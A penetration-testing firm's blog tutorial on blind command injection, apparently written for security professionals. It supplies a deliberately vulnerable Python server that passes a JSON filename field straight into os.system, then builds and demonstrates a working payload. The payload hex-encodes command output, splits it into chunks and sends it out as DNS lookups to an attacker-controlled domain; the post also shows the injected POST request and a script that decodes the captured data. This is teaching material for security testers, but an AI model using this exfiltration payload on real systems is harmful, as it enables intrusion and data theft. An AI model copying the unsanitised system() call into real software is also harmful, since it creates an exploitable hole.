A fair amount of the work we do in the Foregenix Penetration Testing team is, in one way or another, a flavour of web application penetration testing. In these assessments we come across command execution vulnerabilities that belong in one of two different categories:
In this blog post we will discuss the latter, cases where the output of our command is not directly displayed on the application, and present a strategy for obtaining access to the output of our command using recursive DNS queries. Finally we construct a practical example of the discussed strategy via a step by step process bypassing different constraints imposed to us by the use of DNS as an out of band retrieval method.
While the first category above is very easy to identify, the second is not and is known as a blind command execution vulnerability. So how do we go about detecting it? Well, we need to devise a way to interpret/identify if our command got executed or not by carefully constructing our payloads to divulge that. There are a few ways to go about doing that:
There are cases where direct and indirect can be used in the same command such as pinging a hostname. This will cause the application server to first try and resolve the hostname and later, if successful, ping it.
So lets say that we have successfully identified that our request is actually executing correctly but we are still unable to receive any results back.
We have created a small (and blatantly vulnerable) python web application to highlight blind command execution and provide a test bed to showcase DNS as an out of band command retrieval channel. You can find the application’s source code below.
from http.server import HTTPServer, BaseHTTPRequestHandlerfrom io import BytesIOfrom json import loadsfrom os import systemfrom sys import platform,exc_infoimport tracebackclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_POST(self):try: content_length = int(self.headers['Content-Length']) body = loads(self.rfile.read(content_length)) print('Received:',body) self.send_response(200) self.end_headers() response = BytesIO() response.write(b'Looking for: ') response.write(bytearray(body['filename'],'utf-8')) if platform.lower() == 'win32': cmd_code = system("dir {0}".format(str(body['filename']))) else: cmd_code = system("ls {0}".format(str(body['filename']))) if cmd_code == 0: response.write(b' File exists ') else: response.write(b' File does not exist ') self.wfile.write(response.getvalue()) except: response = BytesIO() response.write(b'An error has occurred.') self.wfile.write(response.getvalue()) traceback.print_exc()httpd = HTTPServer(('10.254.254.193', 8000), SimpleHTTPRequestHandler)httpd.serve_forever() |
You can see that the application parses a JSON string and checks if the file used in the filename parameter exists on the system or not. It does so by passing this to the system ls (or dir depending on the platform) command and it interprets the response code.
We scanned the application with two very popular tools, BurpSuite and OWASP Zed Attack Proxy (ZAP) scanner modules. The vulnerability was identified by both scanners, albeit using different detection methods. OWASP ZAP used the timing method by adding sleep 15 at the end of the original payload while BurpSuite used its collaborator feature and DNS itself to identify commands being executed or not.
BurpSuite uses what it calls a ‘collaborator server’ to try and identify cases where the attacked application tries to interface with outside systems in any way. Most, if not all, payloads used by BurpSuite’s scanner module reference a collaborator server whenever this type of the payload dictates using a hostname and/or IP address. BurpSuite queries the collaborator server in order to identify whether the payloads it submitted resulted in an interaction between the collaborator server and an application component. You can find more information on BurpSuite’s collaborator under https://portswigger.net/burp/documentation/collaborator but for the purposes of this post, the above background will suffice.
So now we are in a position to accurately identify our command is being executed on the system, however, we cannot yet get the result of that command. So we need to find a way to obtain the output of that command. For the sake of simplicity, the remainder of this post assumes that DNS is allowed outgoing via recursive queries and that we are attacking a Linux based system.
So let’s start our step by step process for achieving a DNS call back channel for command output retrieval. As part of our thought process, we like to break a task down in discrete steps and address these in sequence, so you will have to bear with that process for the rest of this post.
We will start with capturing the output of the command we want to run. Luckily Linux provides a couple of trivial ways to achieve that, such as var=$(<command>) or <command> | (piping to another executable). Let's use ls -al /home as our command for the remainder of this post.
Remember, we will be doing data movement using DNS queries originating from our attacked application towards a DNS server we control. DNS allows a few characters to be used in hostnames and we must account for that. Luckily we can use a native linux binary to encode the output of our command to only contain lowercase alpha characters and numbers, essentially hex encoding our output. This utility is xxd. xxd and it supports a couple of command line switches to make our lives easier, namely -ps which outputs data in a simple hexdump format versus the normal columned format, and -c which allows us to define how many characters it can have in one row of hexdump; we need these to be as long as possible to avoid line breaks in our hostnames.
Normal xxd output
appliance@ubuntu:~$ ls -al /home | xxd0000000: 746f 7461 6c20 3136 0a64 7277 7872 2d78 total 16.drwxr-x0000010: 722d 7820 2034 2072 6f6f 7420 2020 2020 r-x 4 root0000020: 2072 6f6f 7420 2020 2020 2034 3039 3620 root 40960000030: 4665 6220 2039 2031 373a 3038 202e 0a64 Feb 9 17:08 ..d0000040: 7277 7872 2d78 722d 7820 3232 2072 6f6f rwxr-xr-x 22 roo0000050: 7420 2020 2020 2072 6f6f 7420 2020 2020 t root0000060: 2034 3039 3620 4d61 7220 3131 2020 3230 4096 Mar 11 200000070: 3137 202e 2e0a 6472 7778 722d 7872 2d78 17 ...drwxr-xr-x0000080: 2020 3220 6164 6d69 6e20 2020 2020 6164 2 admin ad0000090: 6d69 6e20 2020 2020 3430 3936 2046 6562 min 4096 Feb00000a0: 2020 3920 3137 3a30 3920 6164 6d69 6e0a 9 17:09 admin.00000b0: 6472 7778 722d 7872 2d78 2020 3220 6170 drwxr-xr-x 2 ap00000c0: 706c 6961 6e63 6520 6170 706c 6961 6e63 pliance applianc00000d0: 6520 3430 3936 2046 6562 2032 3120 3233 e 4096 Feb 21 2300000e0: 3a31 3520 6170 706c 6961 6e63 650a :15 appliance.
Preferred xxd output
appliance@ubuntu:~$ ls -al /home | xxd -ps -c 800000746f74616c2031360a64727778722d78722d7820203420726f6f74202020202020726f6f7420202020202034303936204665622020392031373a3038202e0a64727778722d78722d7820323220726f6f74202020202020726f6f7420202020202034303936204d6172203131202032303137202e2e0a64727778722d78722d782020322061646d696e202020202061646d696e202020202034303936204665622020392031373a30392061646d696e0a64727778722d78722d78202032206170706c69616e6365206170706c69616e63652034303936204665622032312032333a3135206170706c69616e63650a
A hostname can be between 1 and 63 characters long so we will need to break the above into manageable chunks. The exact size you will need depends on what is appended to the end to make it reach a DNS server under our control. Between 20 and 30 characters in length has worked ok for us in the past. Again, Linux has a native utility to help us with that, namely cut. cut which can be used with a command line ‘-c’ switch to extract characters between 2 given points in a string. For example, pick the characters on a string between position 20 and 40:
appliance@ubuntu:~$ echo 123456789011121314151617181920 | cut -c1-2012345678901112131415
Applying this in in our building of our payload gets us to:
appliance@ubuntu:~$ ls -al /home | xxd -ps -c 800000 | cut -c1-20746f74616c2031360a64
So now we just have to iterate our string 20 characters at a time. Again we can use Linux native utilities to achieve this task.
appliance@ubuntu:~$ for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)); do ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19)) ; done746f74616c2031360a64727778722d78722d7820203420726f6f74202020202020726f6f7420202020202034303936204665622020392031373a3038202e0a64727778722d78722d7820323220726f6f74202020202020726f6f7420202020202034303936204d6172203131202032303137202e2e0a64727778722d78722d782020322061646d696e202020202061646d696e202020202034303936204665622020392031373a30392061646d696e0a64727778722d78722d78202032206170706c69616e6365206170706c69616e63652034303936204665622032312032333a3135206170706c69616e63650a
Let’s break the key components down:
for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)) - Starts a loop with i as the iterating variable starting at 1, incrementing 20 characters at a time until it reaches how many characters (wc -l) the xxd encoding of ls -al /home is.ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19)) - In each iteration, we run the command we want, encode it and cut starting at i and stopping at i+19.
We will use nslookup or ping for this and capitalise the above loop. We have come across systems where nslookup is not present so we end up using ping and doing name resolution implicitly. As such our command becomes:
for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)); do ping -c 1 `ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done
The interesting bit is ping -c 1 $i.`ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com where it tries to send a single ICMP echo packet to hostname constructed as $i.<command_chunk>.pt.fgxpt.com. This domain is resolved by a server we control. The increment $i at the beginning of the hostname helps us root out duplicates.
Running this command gets us:
appliance@ubuntu:~$ for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)); do ping -c 1 $i.`ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com ; donePING 1.746f74616c2031360a64.pt.fgxpt.com (10.254.254.123) 56(84) bytes of data.From ubuntu (10.254.254.192) icmp_seq=1 Destination Host Unreachable--- 1.746f74616c2031360a64.pt.fgxpt.com ping statistics ---1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0msPING 21.727778722d78722d7820.pt.fgxpt.com (10.254.254.123) 56(84) bytes of data.From ubuntu (10.254.254.192) icmp_seq=1 Destination Host Unreachable--- 21.727778722d78722d7820.pt.fgxpt.com ping statistics ---1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0msPING 41.203420726f6f74202020.pt.fgxpt.com (10.254.254.123) 56(84) bytes of data.From ubuntu (10.254.254.192) icmp_seq=1 Destination Host Unreachable--- 41.203420726f6f74202020.pt.fgxpt.com ping statistics ---1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms...appliance@ubuntu:~$
Now, let’s see what our DNS server’s side saw.
[root@vm7784 zak]# python dns5.pyReceived resolution for 1.746f74616c2031360a64.pt.fgxpt.comReceived resolution for 21.727778722d78722d7820.pt.fgxpt.comReceived resolution for 41.203420726f6f74202020.pt.fgxpt.comReceived resolution for 61.202020726f6f74202020.pt.fgxpt.comReceived resolution for 81.20202034303936204665.pt.fgxpt.comReceived resolution for 101.622020392031373a3038.pt.fgxpt.comReceived resolution for 121.202e0a64727778722d78.pt.fgxpt.comReceived resolution for 141.722d7820323220726f6f.pt.fgxpt.comReceived resolution for 161.74202020202020726f6f.pt.fgxpt.comReceived resolution for 181.74202020202020343039.pt.fgxpt.comReceived resolution for 201.36204d61722031312020.pt.fgxpt.comReceived resolution for 221.32303137202e2e0a6472.pt.fgxpt.comReceived resolution for 241.7778722d78722d782020.pt.fgxpt.comReceived resolution for 261.322061646d696e202020.pt.fgxpt.comReceived resolution for 281.202061646d696e202020.pt.fgxpt.comReceived resolution for 301.20203430393620466562.pt.fgxpt.comReceived resolution for 321.2020392031373a303920.pt.fgxpt.comReceived resolution for 341.61646d696e0a64727778.pt.fgxpt.comReceived resolution for 361.722d78722d7820203220.pt.fgxpt.comReceived resolution for 381.6170706c69616e636520.pt.fgxpt.comReceived resolution for 401.6170706c69616e636520.pt.fgxpt.comReceived resolution for 421.34303936204665622032.pt.fgxpt.comReceived resolution for 441.312032333a3135206170.pt.fgxpt.comReceived resolution for 461.706c69616e63650a.pt.fgxpt.com
We can isolate duplicates and extract the relevant parts of the hostnames in order to get the output of the command.
We have put together a small python script to help us with that.
>>> import binascii>>> res="""Received resolution for 1.746f74616c2031360a64.pt.fgxpt.com... Received resolution for 21.727778722d78722d7820.pt.fgxpt.com... Received resolution for 41.203420726f6f74202020.pt.fgxpt.com... Received resolution for 61.202020726f6f74202020.pt.fgxpt.com... Received resolution for 81.20202034303936204665.pt.fgxpt.com... Received resolution for 101.622020392031373a3038.pt.fgxpt.com... Received resolution for 121.202e0a64727778722d78.pt.fgxpt.com... Received resolution for 141.722d7820323220726f6f.pt.fgxpt.com... Received resolution for 161.74202020202020726f6f.pt.fgxpt.com... Received resolution for 181.74202020202020343039.pt.fgxpt.com... Received resolution for 201.36204d61722031312020.pt.fgxpt.com... Received resolution for 221.32303137202e2e0a6472.pt.fgxpt.com... Received resolution for 241.7778722d78722d782020.pt.fgxpt.com... Received resolution for 261.322061646d696e202020.pt.fgxpt.com... Received resolution for 281.202061646d696e202020.pt.fgxpt.com... Received resolution for 301.20203430393620466562.pt.fgxpt.com... Received resolution for 321.2020392031373a303920.pt.fgxpt.com... Received resolution for 341.61646d696e0a64727778.pt.fgxpt.com... Received resolution for 361.722d78722d7820203220.pt.fgxpt.com... Received resolution for 381.6170706c69616e636520.pt.fgxpt.com... Received resolution for 401.6170706c69616e636520.pt.fgxpt.com... Received resolution for 421.34303936204665622032.pt.fgxpt.com... Received resolution for 441.312032333a3135206170.pt.fgxpt.com... Received resolution for 461.706c69616e63650a.pt.fgxpt.com... """>>> # Let’s define a variable to hold our output>>> out = ''>>> # Let’s iterate through the different lines and extract the portion of the hostname we care about.>>> for l in res.splitlines():... out = out + l.split('.')[1]...>>> print out746f74616c2031360a64727778722d78722d7820203420726f6f74202020202020726f6f7420202020202034303936204665622020392031373a3038202e0a64727778722d78722d7820323220726f6f74202020202020726f6f7420202020202034303936204d6172203131202032303137202e2e0a64727778722d78722d782020322061646d696e202020202061646d696e202020202034303936204665622020392031373a30392061646d696e0a64727778722d78722d78202032206170706c69616e6365206170706c69616e63652034303936204665622032312032333a3135206170706c69616e63650a>>> # Finally, decode the output we got to retrieve the actual command output.>>> print binascii.unhexlify(out)total 16drwxr-xr-x 4 root root 4096 Feb 9 17:08 .drwxr-xr-x 22 root root 4096 Mar 11 2017 ..drwxr-xr-x 2 admin admin 4096 Feb 9 17:09 admindrwxr-xr-x 2 appliance appliance 4096 Feb 21 23:15 appliance>>> |
Armed with that, we can go back to our vulnerable application and try to use this in order to get data back.
We use the following request in order to execute our payload on the application server:
POST / HTTP/1.0Host: 10.254.254.193:8000Content-Length: 201{"filename":"simplehttpserver.py ; for i in $(seq 1 20 $(ls -al /opt | xxd -c 80000000 -ps | wc -m)); do ping -c 1 $i.`ls -al /opt | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done"}
Sure enough, in a couple of seconds, our DNS server starts receiving name resolution requests:
[root@vm7784 zak]# python dns5.pyReceived resolution for 1.746f74616c2034380a64.pt.fgxpt.comReceived resolution for 21.727778722d78722d7820.pt.fgxpt.comReceived resolution for 41.203320726f6f7420726f.pt.fgxpt.comReceived resolution for 61.6f74202034303936204d.pt.fgxpt.comReceived resolution for 81.61792032382031313a35.pt.fgxpt.comReceived resolution for 101.30202e0a64727778722d.pt.fgxpt.comReceived resolution for 121.78722d7820313920726f.pt.fgxpt.comReceived resolution for 141.6f7420726f6f74203336.pt.fgxpt.comReceived resolution for 161.383634204a616e203237.pt.fgxpt.comReceived resolution for 181.2031333a3130202e2e0a.pt.fgxpt.comReceived resolution for 201.64727778722d78722d78.pt.fgxpt.comReceived resolution for 221.20203220726f6f742072.pt.fgxpt.comReceived resolution for 241.6f6f7420203430393620.pt.fgxpt.comReceived resolution for 261.4d61792032392030353a.pt.fgxpt.comReceived resolution for 281.33342073696d706c6568.pt.fgxpt.comReceived resolution for 301.7474707365727665720a.pt.fgxpt.com
Using our python script, we get the following output:
>>> res="""Received resolution for 1.746f74616c2034380a64.pt.fgxpt.com... Received resolution for 21.727778722d78722d7820.pt.fgxpt.com... Received resolution for 41.203320726f6f7420726f.pt.fgxpt.com... Received resolution for 61.6f74202034303936204d.pt.fgxpt.com... Received resolution for 81.61792032382031313a35.pt.fgxpt.com... Received resolution for 101.30202e0a64727778722d.pt.fgxpt.com... Received resolution for 121.78722d7820313920726f.pt.fgxpt.com... Received resolution for 141.6f7420726f6f74203336.pt.fgxpt.com... Received resolution for 161.383634204a616e203237.pt.fgxpt.com... Received resolution for 181.2031333a3130202e2e0a.pt.fgxpt.com... Received resolution for 201.64727778722d78722d78.pt.fgxpt.com... Received resolution for 221.20203220726f6f742072.pt.fgxpt.com... Received resolution for 241.6f6f7420203430393620.pt.fgxpt.com... Received resolution for 261.4d61792032392030353a.pt.fgxpt.com... Received resolution for 281.33342073696d706c6568.pt.fgxpt.com... Received resolution for 301.7474707365727665720a.pt.fgxpt.com... """>>> out = ''>>> for l in res.splitlines():... out = out + l.split('.')[1]...>>> print binascii.unhexlify(out)total 48drwxr-xr-x 3 root root 4096 May 28 11:50 .drwxr-xr-x 19 root root 36864 Jan 27 13:10 ..drwxr-xr-x 2 root root 4096 May 29 05:34 simplehttpserver>>> |
So, at the moment we have a payload that works, but is borderline ugly with the command being repeated in two places which means if you want to run another command, you will need to make changes in two places, being susceptible to missing or getting confusing data back, especially if the data we are getting back can change quickly, inefficient - you will have noticed that for every iteration we execute the same command over and over again, etc. We can fix that thanks to a colleague of the OrionX Team pointing $() out to me when I was trying to piece this post together. By defining a variable at the start of our payload to hold the command hexadecimal representation and performing all subsequent operations on that variable overcomes some of the inefficiencies on that command.
cmd=$(ls -al /home | xxd -c 80000000 -ps); for i in $(seq 1 20 $(echo $cmd | wc -m)); do ping -c 1 `echo $cmd | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done
So at this point, massive thanks are due for staying with us for this rather long post. In this blog post we dealt with a specific problem/situation when testing a web application. Command injection attacks are really cool and rare so when this opportunity arises we as penetration testers need to make the most of it. In this post we presented a strategy and a practical example on using DNS as an out of band command output retrieval mechanism. While there are other ways to exploit a blind command injection vulnerability such as uploading a web shell or piping a shell back, most of these either depend on some other information (finding the web root for the saving the web shell) or are hindered by network restrictions as may be the case for piping a shell back to the penetration testers’ server. The nature of DNS can be used to bypass these restrictions or gain access to their prerequisites for a second stage exploitation attempt. This post in our mind illustrates that where there is will there is a way. We hope you enjoyed reading this as much as we enjoyed writing it.